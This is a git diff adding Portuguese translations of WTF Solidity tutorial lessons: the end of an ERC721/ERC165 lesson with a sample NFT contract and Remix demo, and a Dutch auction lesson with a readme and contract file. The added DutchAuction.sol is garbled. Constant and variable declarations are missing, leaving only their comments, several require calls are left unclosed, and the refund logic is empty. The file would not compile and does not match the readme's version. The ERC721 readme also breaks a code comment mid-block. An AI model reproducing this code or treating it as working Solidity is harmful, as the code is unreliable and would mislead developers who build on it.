[github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Moedas como `BTC` e `ETH` são exemplos de tokens fungíveis, ou seja, a primeira unidade de `BTC` minerada é igual à décima milésima unidade de `BTC`, elas são equivalentes. No entanto, muitos itens no mundo são únicos, como imóveis, antiguidades, arte virtual, entre outros, e não podem ser representados por tokens fungíveis. Por isso, o padrão `ERC721` foi proposto pelo Ethereum EIP721 para representar itens não fungíveis. Nesta aula, vamos apresentar o padrão `ERC721` e emitir um NFT com base nele. + +## EIP e ERC + +Aqui está um ponto que precisa ser entendido: o título desta seção é `ERC721`, mas também menciona `EIP721`, qual é a relação entre eles? + +`EIP` significa "Ethereum Improvement Proposals" (Propostas de Melhoria do Ethereum) e são propostas de melhorias para o Ethereum feitas pela comunidade de desenvolvedores do Ethereum. Eles são uma série de documentos numerados, semelhantes aos RFCs da IETF na Internet. + +Um `EIP` pode ser uma melhoria em qualquer área do ecossistema Ethereum, como novos recursos, padrões de tokens (`ERC20`, `ERC721`), registro de nomes (`ERC26`, `ERC13`), URI (`ERC67`), formato de biblioteca/pacote (`EIP82`), formato de carteira (`EIP75`, `EIP85`), entre outros. + +Os padrões `ERC` são um fator importante para o desenvolvimento do Ethereum, como `ERC20`, `ERC223`, `ERC721`, `ERC777`, que tiveram um grande impacto no ecossistema Ethereum. + +Portanto, a conclusão final é que o `EIP` inclui o `ERC`. + +**Somente após concluir esta aula, você entenderá por que começamos com `ERC165` em vez de `ERC721`. Se quiser ver a conclusão, vá diretamente para a parte inferior.** + +## ERC165 + +Por meio do padrão `ERC165` (https://eips.ethereum.org/EIPS/eip-165), um contrato inteligente pode declarar as interfaces que ele suporta para que outros contratos possam verificar. Em resumo, o `ERC165` é usado para verificar se um contrato inteligente suporta as interfaces `ERC721` e `ERC1155`. + +A interface do contrato `IERC165` declara apenas uma função `supportsInterface`, que recebe o `interfaceId` da interface a ser verificada e retorna `true` se o contrato implementar essa interface: + +```solidity +interface IERC165 { + /** + * @dev Retorna true se o contrato implementar o `interfaceId` consultado + * Veja as regras em: https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[Seção do EIP] + * + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} +``` + +Podemos ver como o `ERC721` implementa a função `supportsInterface()`: + +```solidity + function supportsInterface(bytes4 interfaceId) external pure override returns (bool) + { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC165).interfaceId; + } +``` + +Quando o `interfaceId` consultado é o da interface `IERC721` ou `IERC165`, ele retorna `true`; caso contrário, retorna `false`. + +## IERC721 + +`IERC721` é a interface do padrão `ERC721` e define as funções básicas que o `ERC721` deve implementar. Ele usa o `tokenId` para representar um token não fungível específico, e tanto a autorização quanto a transferência de tokens devem especificar o `tokenId`, enquanto o `ERC20` só precisa especificar a quantidade de tokens a serem transferidos. + +```solidity +/** + * @dev Interface do padrão ERC721. + */ +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes calldata data + ) external; + + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function transferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function approve(address to, uint256 tokenId) external; + + function setApprovalForAll(address operator, bool _approved) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function isApprovedForAll(address owner, address operator) external view returns (bool); +} +``` + +### Eventos do IERC721 +`IERC721` inclui três eventos, sendo que `Transfer` e `Approval` também estão presentes no `ERC20`. +- Evento `Transfer`: é emitido ao transferir um token, registrando o endereço de envio `from`, o endereço de recebimento `to` e o `tokenId`. +- Evento `Approval`: é emitido ao autorizar um endereço, registrando o endereço do proprietário `owner`, o endereço autorizado `approved` e o `tokenId`. +- Evento `ApprovalForAll`: é emitido ao autorizar vários endereços, registrando o endereço do proprietário `owner`, o endereço autorizado `operator` e se a autorização está ativada ou desativada `approved`. + +### Funções do IERC721 +- `balanceOf`: retorna a quantidade de NFTs que um endereço possui. +- `ownerOf`: retorna o endereço do proprietário de um determinado `tokenId`. +- `transferFrom`: transfere um NFT, especificando o endereço de envio `from`, o endereço de recebimento `to` e o `tokenId`. +- `safeTransferFrom`: transfere um NFT com segurança (se o endereço de recebimento for um contrato, ele deve implementar a interface `ERC721Receiver`). Especifica o endereço de envio `from`, o endereço de recebimento `to` e o `tokenId`. +- `approve`: autoriza outro endereço a usar seu NFT. Especifica o endereço autorizado `approve` e o `tokenId`. +- `getApproved`: consulta qual endereço foi autorizado para um determinado `tokenId`. +- `setApprovalForAll`: autoriza um endereço a gerenciar todos os NFTs de um determinado proprietário `operator`. +- `isApprovedForAll`: consulta se um endereço autorizou outro endereço a gerenciar todos os NFTs de um determinado proprietário `operator`. +- `safeTransferFrom`: sobrecarga da função `safeTransferFrom`, que inclui o parâmetro `data`. + +## IERC721Receiver + +Se um contrato não implementar as funções relacionadas ao `ERC721`, o NFT transferido para ele será perdido e não poderá ser transferido novamente. Para evitar transferências acidentais, o `ERC721` implementa a função `safeTransferFrom()`, que exige que o contrato de destino implemente a interface `IERC721Receiver` para receber o token `ERC721`, caso contrário, a transferência será revertida. A interface `IERC721Receiver` inclui apenas uma função `onERC721Received()`. + +```solidity +// Interface do receptor ERC721: o contrato deve implementar esta interface para receber ERC721 por transferência segura +interface IERC721Receiver { + function onERC721Received( + address operator, + address from, + uint tokenId, + bytes calldata data + ) external returns (bytes4); +} +``` + +Podemos ver como o `ERC721` usa o `_checkOnERC721Received` para garantir que o contrato de destino implemente a função `onERC721Received()` (retornando o seletor `onERC721Received`): + +```solidity + function _checkOnERC721Received( + address from, + address to, + uint tokenId, + bytes memory _data + ) private returns (bool) { + if (to.isContract()) { + return + IERC721Receiver(to).onERC721Received( + msg.sender, + from, + tokenId, + _data + ) == IERC721Receiver.onERC721Received.selector; + } else { + return true; + } + } +``` + +## IERC721Metadata +`IERC721Metadata` é uma interface de extensão do `ERC721` que define três funções comuns para consultar metadados: + +- `name()`: retorna o nome do token. +- `symbol()`: retorna o símbolo do token. +- `tokenURI()`: consulta o URL do metadado com base no `tokenId`, uma função específica do `ERC721`. + +```solidity +interface IERC721Metadata is IERC721 { + function name() external view returns (string memory); + + function symbol() external view returns (string memory); + + function tokenURI(uint256 tokenId) external view returns (string memory); +} +``` + +## Contrato Principal do ERC721 +O contrato principal do `ERC721` implementa todas as funcionalidades definidas pelas interfaces `IERC721`, `IERC165` e `IERC721Metadata`. Ele inclui 4 variáveis de estado e 17 funções. A implementação é bastante simples, e a funcionalidade de cada função está documentada nos comentários do código: + +```solidity +// SPDX-License-Identifier: MIT +// por 0xAA +pragma solidity ^0.8.21; + +import "./IERC165.sol"; +import "./IERC721.sol"; +import "./IERC721Receiver.sol"; +import "./IERC721Metadata.sol"; +import "./Address.sol"; +import "./String.sol"; + +contract ERC721 is IERC721, IERC721Metadata{ + using Address for address; // usando a biblioteca Address para verificar se um endereço é um contrato + using Strings for uint256; // usando a biblioteca Strings para converter um uint256 em uma string + + // Nome do token + string public override name; + // Símbolo do token + string public override symbol; + // Mapeamento do tokenId para o endereço do proprietário + mapping(uint => address) private _owners; + // Mapeamento do endereço para a quantidade de tokens que ele possui + mapping(address => uint) private _balances; + // Mapeamento do tokenId para o endereço autorizado + mapping(uint => address) private _tokenApprovals; + // Mapeamento do endereço do proprietário para o endereço autorizado + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * Construtor, inicializa o `name` e o `symbol`. + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + // Implementação da função supportsInterface da interface IERC165 + function supportsInterface(bytes4 interfaceId) + external + pure + override + returns (bool) + { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC165).interfaceId || + interfaceId == type(IERC721Metadata).interfaceId; + } + + // Implementação da função balanceOf da interface IERC721, usando a variável _balances para consultar a quantidade de tokens de um endereço + function balanceOf(address owner) external view override returns (uint) { + require(owner != address(0), "owner = zero address"); + return _balances[owner]; + } + + // Implementação da função ownerOf da interface IERC721, usando a variável _owners para consultar o proprietário de um tokenId + function ownerOf(uint tokenId) public view override returns (address owner) { + owner = _owners[tokenId]; + require(owner != address(0), "token doesn't exist"); + } + + // Implementação da função isApprovedForAll da interface IERC721, usando a variável _operatorApprovals para consultar se um endereço autorizou outro endereço a gerenciar todos os NFTs + function isApprovedForAll(address owner, address operator) + external + view + override + returns (bool) + { + return _operatorApprovals[owner][operator]; + } + + // Implementação da função setApprovalForAll da interface IERC721, autorizando um endereço a gerenciar todos os NFTs de um proprietário. Chama a função _setApprovalForAll. + function setApprovalForAll(address operator, bool approved) external override { + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + // Implementação da função getApproved da interface IERC721, usando a variável _tokenApprovals para consultar o endereço autorizado de um tokenId + function getApproved(uint tokenId) external view override returns (address) { + require(_owners[tokenId] != address(0), "token doesn't exist"); + return _tokenApprovals[tokenId]; + } + + // Função de autorização. Ajusta a variável _tokenApprovals para autorizar o endereço to a operar o tokenId e emite o evento Approval. + function _approve( + address owner, + address to, + uint tokenId + ) private { + _tokenApprovals[tokenId] = to; + emit Approval(owner, to, tokenId); + } + + // Implementação da função approve da interface IERC721, autorizando um endereço a operar um tokenId. Condições: to não é o proprietário e msg.sender é o proprietário ou um endereço autorizado. Chama a função _approve. + function approve(address to, uint tokenId) external override { + address owner = _owners[tokenId]; + require( + msg.sender == owner || _operatorApprovals[owner][msg.sender], + "not owner nor approved for all" + ); + _approve(owner, to, tokenId); + } + + // Consulta se o spender pode usar o tokenId (ele é o proprietário ou um endereço autorizado). + function _isApprovedOrOwner( + address owner, + address spender, + uint tokenId + ) private view returns (bool) { + return (spender == owner || + _tokenApprovals[tokenId] == spender || + _operatorApprovals[owner][spender]); + } + + /* + * Função de transferência. Ajusta as variáveis _balances e _owners para transferir o tokenId de from para to e emite o evento Transfer. + * Condições: + * 1. O tokenId é possuído por from. + * 2. to não é o endereço zero. + */ + function _transfer( + address owner, + address from, + address to, + uint tokenId + ) private { + require(from == owner, "not owner"); + require(to != address(0), "transfer to the zero address"); + + _approve(owner, address(0), tokenId); + + _balances[from] -= 1; + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(from, to, tokenId); + } + + // Implementação da função transferFrom da interface IERC721, uma transferência normal. Chama a função _transfer. + function transferFrom( + address from, + address to, + uint tokenId + ) external override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _transfer(owner, from, to, tokenId); + } + + /** + * Transferência segura. Transfere o tokenId de from para to com segurança, verificando se o contrato de destino implementa a interface ERC721Receiver para evitar que o tokenId seja perdido. Chama as funções _transfer e _checkOnERC721Received. Condições: + * from não é o endereço zero. + * to não é o endereço zero. + * O tokenId existe e é possuído por from. + * Se to for um contrato, ele deve implementar a função onERC721Received. + */ + function _safeTransfer( + address owner, + address from, + address to, + uint tokenId, + bytes memory _data + ) private { + _transfer(owner, from, to, tokenId); + require(_checkOnERC721Received(from, to, tokenId, _data), "not ERC721Receiver"); + } + + /** + * Implementação da função safeTransferFrom da interface IERC721, uma transferência segura. Chama a função _safeTransfer. + */ + function safeTransferFrom( + address from, + address to, + uint tokenId, + bytes memory _data + ) public override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _safeTransfer(owner, from, to, tokenId, _data); + } + + // Sobrecarga da função safeTransferFrom + function safeTransferFrom( + address from, + address to, + uint tokenId + ) external override { + safeTransferFrom(from, to, tokenId, ""); + } + + /** + * Função de criação. Ajusta as variáveis _balances e _owners para criar o tokenId e transferir para o endereço `to`, e emite o evento `Transfer`. Esta função pode ser chamada por qualquer pessoa, mas é recomendado que os desenvolvedores a modifiquem e adicionem condições específicas. + +```solidity +function _mint(address to, uint tokenId) internal virtual { + require(to != address(0), "mint to zero address"); + require(_owners[tokenId] == address(0), "token already minted"); + + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(address(0), to, tokenId); +} +``` + +## Emitindo um NFT ERC721 + +Com o padrão `ERC721`, é muito fácil emitir um NFT na rede Ethereum. Agora, vamos emitir nosso próprio NFT. + +Compile os contratos `ERC721` e `WTFApe` no Remix (na ordem correta) e clique no botão de deploy. Insira os parâmetros do construtor, definindo `name_` e `symbol_` como "WTF", e clique em "transact" para fazer o deploy. + +![Detalhes do NFT](./img/34-1.png) +![Deploy do contrato](./img/34-2.png) + +Agora, criamos o NFT "WTF". Precisamos executar a função `mint()` para criar alguns tokens para nós mesmos. Na seção da função `mint`, clique no botão à direita para abrir o menu suspenso, insira o endereço da sua conta e o `tokenId`, e clique em "mint" para criar o NFT "WTF" com o `tokenId` 0 para você mesmo. + +Você pode abrir o menu de depuração à direita para ver os logs detalhados. + +Existem quatro informações importantes dentro dele: +- O evento `Transfer` +- O endereço de criação `0x0000000000000000000000000000000000000000` +- O endereço de recebimento `0x5B38Da6a701c568545dCfcB03FcB875f56beddC4` +- O `tokenId` 0 + +![Criando um NFT](./img/34-3.png) + +Usando a função `balanceOf()`, você pode verificar o saldo da sua conta. Insira o seu endereço atual e você verá que possui um NFT, o que significa que a criação foi bem-sucedida. + +As informações da conta estão à esquerda, e à direita estão as informações específicas da execução da função. + +![Verificando detalhes do NFT](./img/34-4.png) + +Você também pode usar a função `ownerOf()` para verificar a qual conta o NFT pertence. Insira o `tokenId` e você verá que o endereço é o seu, confirmando que a consulta está correta. + +![Verificando detalhes do proprietário do tokenId](./img/34-5.png) + +## Explicação detalhada do ERC165 e ERC721 +Como mencionado anteriormente, para evitar que um NFT seja transferido para um contrato que não tenha a capacidade de lidar com NFTs, o contrato de destino deve implementar a interface `ERC721TokenReceiver`: + +```solidity +interface ERC721TokenReceiver { + function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4); +} +``` + +No mundo da programação, seja com interfaces em Java ou traits em Rust (ou bibliotecas em Solidity), todas elas têm um significado semelhante: uma interface é um conjunto de comportamentos (no caso do Solidity, é equivalente a um conjunto de seletores de função), e quando um tipo implementa uma interface, ele indica que possui essa funcionalidade. Portanto, quando um contrato implementa a interface `ERC721TokenReceiver` (mais especificamente, quando implementa a função `onERC721Received`), ele está indicando que possui a capacidade de gerenciar NFTs. A lógica para lidar com NFTs é implementada em outras funções desse contrato. + +O padrão ERC721 verifica se o contrato de destino implementa a função `onERC721Received()` por meio do `ERC165`. Mas afinal, o que é o ERC165? + +O ERC165 é um padrão técnico que indica quais interfaces um contrato implementa. Como mencionado anteriormente, implementar uma interface significa que o contrato possui uma determinada funcionalidade. Quando um contrato deseja interagir com outro contrato, ele espera que o contrato de destino possua certas funcionalidades. Portanto, os contratos podem usar o padrão ERC165 para consultar se o contrato de destino possui as capacidades desejadas. + +Tomando como exemplo o contrato ERC721, quando alguém deseja verificar se um contrato é um ERC721, como fazer isso? De acordo com [este link](https://eips.ethereum.org/EIPS/eip-165#how-to-detect-if-a-contract-implements-erc-165), o procedimento de verificação é o seguinte: primeiro, verifique se o contrato implementa o ERC165; em seguida, verifique se o contrato implementa as interfaces específicas desejadas. Neste caso, a interface específica é a IERC721. A IERC721 é a interface básica do ERC721 (existem outras interfaces de extensão, como `ERC721Metadata` e `ERC721Enumerable`): + +```solidity +/// Observe que o identificador ERC-165 para esta interface é 0x80ac58cd. +interface ERC721 /* is ERC165 */ { + event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); + + event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); + + event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); + + function balanceOf(address _owner) external view returns (uint256); + + function ownerOf(uint256 _tokenId) external view returns (address); + + function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable; + + function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable; + + function transferFrom(address _from, address _to, uint256 _tokenId) external payable; + + function approve(address _approved, uint256 _tokenId) external payable; + + function setApprovalForAll(address _operator, bool _approved) external; + + function getApproved(uint256 _tokenId) external view returns (address); + + function isApprovedForAll(address _owner, address _operator) external view returns (bool); +} +``` + +O valor **0x80ac58cd** é calculado como `bytes4(keccak256(ERC721.Transfer.selector) ^ keccak256(ERC721.Approval.selector) ^ ··· ^keccak256(ERC721.isApprovedForAll.selector))`, que é a forma definida pelo ERC165. + +Portanto, quando alguém deseja verificar se um contrato é um ERC721, ele pode seguir os passos mencionados acima. Se o contrato implementar o ERC165 e o valor de entrada for **0x80ac58cd**, isso significa que o contrato é um ERC721 e a função `supportsInterface` deve retornar `true`. + +Além disso, como a função `supportsInterface` é declarada como `virtual`, os usuários desse contrato podem herdar dele e implementar a interface `ERC721Enumerable`. Após implementar as funções necessárias, eles podem substituir a função `supportsInterface` da seguinte forma: + +```solidity +function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { + return + interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 + interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 + interfaceId == 0x5b5e139f || // ERC165 Interface ID for ERC721Metadata + interfaceId == 0x780e9d63; // ERC165 Interface ID for ERC721Enumerable +} +``` + +**Elegante, simples e altamente expansível.** + +## Conclusão +Nesta aula, apresentei o padrão `ERC721`, suas interfaces e sua implementação, com comentários em chinês no código do contrato. Também criamos um NFT gratuito chamado "WTF APE" usando o `ERC721`, com os metadados sendo chamados diretamente do `BAYC`. O padrão `ERC721` está em constante evolução, e as versões mais populares atualmente são `ERC721Enumerable` (para melhorar a acessibilidade dos NFTs) e `ERC721A` (para economizar `gas` na criação). + diff --git a/Languages/pt-br/35_DutchAuction/DutchAuction.sol b/Languages/pt-br/35_DutchAuction/DutchAuction.sol new file mode 100644 index 000000000..840e7b9d7 --- /dev/null +++ b/Languages/pt-br/35_DutchAuction/DutchAuction.sol @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/access/Ownable.sol"; +import "../34_ERC721/ERC721.sol"; + +contract DutchAuction is Ownable, ERC721 { + // Número total de NFTs + // Preço inicial + // Preço de fechamento (preço mínimo) + // Tempo do leilão, definido como 10 minutos para facilitar os testes. + // A cada quanto tempo o preço diminui? + uint256 public constant AUCTION_DROP_PER_STEP = + (AUCTION_START_PRICE - AUCTION_END_PRICE) / + // Cada vez que o preço diminui em um passo + + // Horário de início do leilão + // metadata URI + // Registre todos os tokenId existentes + + //Definir o horário de início do leilão: Vamos declarar o horário do bloco atual como o horário de início no construtor. O projeto também pode ajustar o horário de início através da função `setAuctionStartTime(uint32)`. + constructor() Ownable(msg.sender) ERC721("WTF Dutch Auction", "WTF Dutch Auction") { + auctionStartTime = block.timestamp; + } + + /** + * Implementação da função totalSupply em ERC721Enumerable + */ + function totalSupply() public view virtual returns (uint256) { + return _allTokens.length; + } + + /** + * Função privada, adiciona um novo token em _allTokens + */ + function _addTokenToAllTokensEnumeration(uint256 tokenId) private { + _allTokens.push(tokenId); + } + + // Função de mint para leilão + function auctionMint(uint256 quantity) external payable{ + // Criar uma variável local para reduzir os custos de gas + require( + _saleStartTime != 0 && block.timestamp >= _saleStartTime, + "sale has not started yet" + // Verificando se o horário de início do leilão foi definido e se o leilão já começou + require( + totalSupply() + quantity <= COLLECTION_SIZE, + "not enough remaining reserved for auction to support desired mint amount" + // Verificar se excede o limite de NFTs + + // Calcular o custo de produção do mint + // Verificar se o usuário pagou ETH suficiente + + // Mintar NFT + for(uint256 i = 0; i < quantity; i++) { + uint256 mintIndex = totalSupply(); + _mint(msg.sender, mintIndex); + _addTokenToAllTokensEnumeration(mintIndex); + } + // Reembolso ETH em excesso + if (msg.value > totalCost) { + //Atenção se há risco de reentrada aqui + } + } + + // Obter preço em tempo real do leilão + function getAuctionPrice() + public + view + returns (uint256) + { + if (block.timestamp < auctionStartTime) { + return AUCTION_START_PRICE; + }else if (block.timestamp - auctionStartTime >= AUCTION_TIME) { + return AUCTION_END_PRICE; + } else { + uint256 steps = (block.timestamp - auctionStartTime) / + AUCTION_DROP_INTERVAL; + return AUCTION_START_PRICE - (steps * AUCTION_DROP_PER_STEP); + } + } + + // função setter auctionStartTime, apenasProprietário + function setAuctionStartTime(uint32 timestamp) external onlyOwner { + auctionStartTime = timestamp; + } + + // BaseURI + function _baseURI() internal view virtual override returns (string memory) { + return _baseTokenURI; + } + // Função setter de BaseURI, apenasOwner + function setBaseURI(string calldata baseURI) external onlyOwner { + _baseTokenURI = baseURI; + } + // Função de saque, apenasProprietário + function withdrawMoney() external onlyOwner { + (bool success, ) = msg.sender.call{value: address(this).balance}(""); + require(success, "Transfer failed."); + } +} diff --git a/Languages/pt-br/35_DutchAuction/img/35-1.png b/Languages/pt-br/35_DutchAuction/img/35-1.png new file mode 100644 index 000000000..d7bb038c4 Binary files /dev/null and b/Languages/pt-br/35_DutchAuction/img/35-1.png differ diff --git a/Languages/pt-br/35_DutchAuction/img/35-2.png b/Languages/pt-br/35_DutchAuction/img/35-2.png new file mode 100644 index 000000000..cd7da64fb Binary files /dev/null and b/Languages/pt-br/35_DutchAuction/img/35-2.png differ diff --git a/Languages/pt-br/35_DutchAuction/img/35-3.png b/Languages/pt-br/35_DutchAuction/img/35-3.png new file mode 100644 index 000000000..451608dfb Binary files /dev/null and b/Languages/pt-br/35_DutchAuction/img/35-3.png differ diff --git a/Languages/pt-br/35_DutchAuction/img/35-4.png b/Languages/pt-br/35_DutchAuction/img/35-4.png new file mode 100644 index 000000000..84cb5c794 Binary files /dev/null and b/Languages/pt-br/35_DutchAuction/img/35-4.png differ diff --git a/Languages/pt-br/35_DutchAuction/readme.md b/Languages/pt-br/35_DutchAuction/readme.md new file mode 100644 index 000000000..19caea202 --- /dev/null +++ b/Languages/pt-br/35_DutchAuction/readme.md @@ -0,0 +1,157 @@ +# 35. Leilão Holandês + +Recentemente, tenho revisado meus conhecimentos de Solidity para consolidar detalhes e escrever um tutorial "Introdução Simplificada ao Solidity" para iniciantes (os programadores avançados podem buscar outro tutorial). Atualizarei o tutorial com 1-3 lições por semana. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Junte-se à comunidade WTF Scientist para obter informações sobre como entrar no grupo do WhatsApp: [Link](https://discord.gg/5akcruXrsk) + +Todo o código e tutorial estão disponíveis no Github (Cursos certificados após 1024 estrelas, comunidade NFT após 2048 estrelas): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nesta lição, vou falar sobre o leilão holandês e como usar o contrato simplificado `DutchAuction` para vender tokens não fungíveis (NFTs) do padrão ERC721 por meio de um leilão holandês. + +## Leilão Holandês + +O leilão holandês é uma forma especial de leilão em que o preço do lance do item leiloado é gradualmente reduzido do mais alto para o mais baixo até que o primeiro comprador faça um lance igual ou superior ao preço de reserva para confirmar a venda. + +![Leilão Holandês](./img/35-1.png) + +No mundo das criptomoedas, muitos NFTs são vendidos por meio de um leilão holandês, como o caso do "Azuki" e "World of Women". O "Azuki" conseguiu arrecadar mais de 8000 ETH por meio de um leilão holandês. + +Os projetos gostam muito desse formato de leilão por dois motivos principais: + +1. O preço no leilão holandês diminui gradualmente, permitindo que o projeto arrecade a receita máxima. +2. O leilão dura um período prolongado (geralmente mais de 6 horas), o que evita a "guerra de gas". + +## Contrato `DutchAuction` + +O código é baseado no contrato `Azuki` simplificado [código](https://etherscan.io/address/0xed5af388653567af2f388e6224dc7c4b3241c544#code). O contrato `DutchAuction` herda os contratos `ERC721` e `Ownable` previamente apresentados: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/access/Ownable.sol"; +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/ERC721.sol"; + +contract DutchAuction is Ownable, ERC721 { +``` + +### Variáveis de Estado do `DutchAuction` + +Há um total de 9 variáveis de estado no contrato, sendo 6 relacionadas ao leilão. Elas são: + +- `COLLECTOIN_SIZE`: total de NFTs. +- `AUCTION_START_PRICE`: preço inicial e mais alto do leilão holandês. +- `AUCTION_END_PRICE`: preço final e mais baixo do leilão holandês. +- `AUCTION_TIME`: duração do leilão. +- `AUCTION_DROP_INTERVAL`: intervalo de tempo para a redução do preço. +- `auctionStartTime`: timestamp de início do leilão (utilizando `block.timestamp`). + +```solidity + uint256 public constant COLLECTOIN_SIZE = 10000; // Total de NFTs + uint256 public constant AUCTION_START_PRICE = 1 ether; // Preço inicial (mais alto) + uint256 public constant AUCTION_END_PRICE = 0.1 ether; // Preço final (mais baixo) + uint256 public constant AUCTION_TIME = 10 minutes; // Duração do leilão, apenas para fins de teste + uint256 public constant AUCTION_DROP_INTERVAL = 1 minutes; // Intervalo de redução de preço + uint256 public constant AUCTION_DROP_PER_STEP = + (AUCTION_START_PRICE - AUCTION_END_PRICE) / + (AUCTION_TIME / AUCTION_DROP_INTERVAL); // Passo de redução de preço por vez + + uint256 public auctionStartTime; // Timestamp de início do leilão + string private _baseTokenURI; // URI de metadados + uint256[] private _allTokens; // Lista de todos os tokens existentes +``` + +### Funções do `DutchAuction` + +Existem 9 funções no contrato DutchAuction, com foco nas relacionadas ao leilão. Não irei repetir as funções relacionadas ao ERC721, apenas focarei nas relacionadas ao leilão. + +- Definir o timestamp de início do leilão: No construtor do contrato, o timestamp de início é definido como o timestamp do bloco atual. O proprietário do contrato também pode ajustar o timestamp de início através da função `setAuctionStartTime()`. + +```solidity + constructor() ERC721("WTF Dutch Auction", "WTF Dutch Auction") { + auctionStartTime = block.timestamp; + } + + // Função para configurar o timestamp de início do leilão, apenasOwner + function setAuctionStartTime(uint32 timestamp) external onlyOwner { + auctionStartTime = timestamp; + } +``` + +- Obter o preço atual do leilão: A função `getAuctionPrice()` calcula o preço do leilão com base no timestamp atual e nas variáveis relacionadas ao leilão. + +Se o `block.timestamp` for menor que o timestamp de início, o preço será o preço inicial `AUCTION_START_PRICE`; +Se o `block.timestamp` for maior que o tempo definido para o final do leilão, o preço será o preço final `AUCTION_END_PRICE`; +Caso contrário, o preço será calculado com base na redução gradual do preço. + +```solidity + // Função para obter o preço atual do leilão + function getAuctionPrice() public view returns (uint256) { + if (block.timestamp < auctionStartTime) { + return AUCTION_START_PRICE; + } else if (block.timestamp - auctionStartTime >= AUCTION_TIME) { + return AUCTION_END_PRICE; + } else { + uint256 steps = (block.timestamp - auctionStartTime) / AUCTION_DROP_INTERVAL; + return AUCTION_START_PRICE - (steps * AUCTION_DROP_PER_STEP); + } + } +``` + +- Leilão e criação de NFTs: Os usuários podem participar do leilão e criar NFTs através da função `auctionMint()`. Essa função verifica se o leilão já começou e se a quantidade a ser criada não excede o limite de NFTs. Em seguida, o contrato calcula o custo do leilão com base no preço atual e na quantidade desejada e verifica se o valor enviado em ETH é suficiente. Se sim, os NFTs são criados para o usuário e o excesso de ETH é devolvido; caso contrário, a transação é revertida. + +```solidity + // Função para leilão e criação de NFTs + function auctionMint(uint256 quantity) external payable { + uint256 _saleStartTime = uint256(auctionStartTime); // Criação de variável local para reduzir custos de gas + require( + _saleStartTime != 0 && block.timestamp >= _saleStartTime, + "o leilão ainda não começou" + ); // Verifica se o timestamp de início foi configurado e se o leilão começou + require( + totalSupply() + quantity <= COLLECTOIN_SIZE, + "não há quantidade restante suficiente para criar a quantidade desejada de NFTs" + ); // Verifica se a quantidade excede o número limite de NFTs + + uint256 totalCost = getAuctionPrice() * quantity; // Calcula o custo da criação de NFTs + require(msg.value >= totalCost, "Precisa enviar mais ETH."); // Verifica se o usuário enviou ETH suficiente + + // Criação de NFTs + for (uint256 i = 0; i < quantity; i++) { + uint256 mintIndex = totalSupply(); + _mint(msg.sender, mintIndex); + _addTokenToAllTokensEnumeration(mintIndex); + } + // Reembolsa o excesso de ETH + if (msg.value > totalCost) { + payable(msg.sender).transfer(msg.value - totalCost); // Verifique se há riscos de reentrância nesta linha + } + } +``` + +- Retirada de Ether: O proprietário do contrato pode usar a função `withdrawMoney()` para sacar o ETH arrecadado com o leilão. + +```solidity + // Função para sacar o dinheiro arrecadado, apenasOwner + function withdrawMoney() external onlyOwner { + (bool success, ) = msg.sender.call{value: address(this).balance}(""); + require(success, "Transferência falhou."); + } +``` + +## Demonstração no Remix +1. Implantação do contrato: Primeiro, implante o contrato `DutchAuction.sol` e defina o timestamp de início do leilão usando a função `setAuctionStartTime()`. Neste exemplo, o timestamp foi definido para 12 de julho de 2022 às 1h30, que corresponde a 1658338200 em UTC. + +2. Leilão Holandês: Em seguida, use a função `getAuctionPrice()` para obter o preço atual no leilão. Antes do início do leilão, o preço será igual ao `AUCTION_START_PRICE`. Conforme o leilão avança, o preço gradualmente diminui até atingir o `AUCTION_END_PRICE` e não mudar mais. + +3. Criação de NFTs: Utilize a função `auctionMint()` para criar NFTs através do leilão. Neste exemplo, como o tempo já passou do tempo do leilão, apenas o `AUCTION_END_PRICE` foi cobrado para completar o leilão. + +4. Retirada de ETH: Simplesmente utilize a função `withdrawMoney()` para transferir o ETH arrecadado no leilão para a carteira do criador do contrato. + +## Conclusão +Nesta lição, introduzimos o leilão holandês e explicamos como utilizar o contrato simplificado `DutchAuction` para vender NFTs do padrão ERC721 através de um leilão holandês. O item NFT mais caro que já arrematei foi uma música NFT do músico Jonathan Mann. Qual foi o seu? + diff --git a/Languages/pt-br/36_MerkleTree/MerkleTree.sol b/Languages/pt-br/36_MerkleTree/MerkleTree.sol new file mode 100644 index 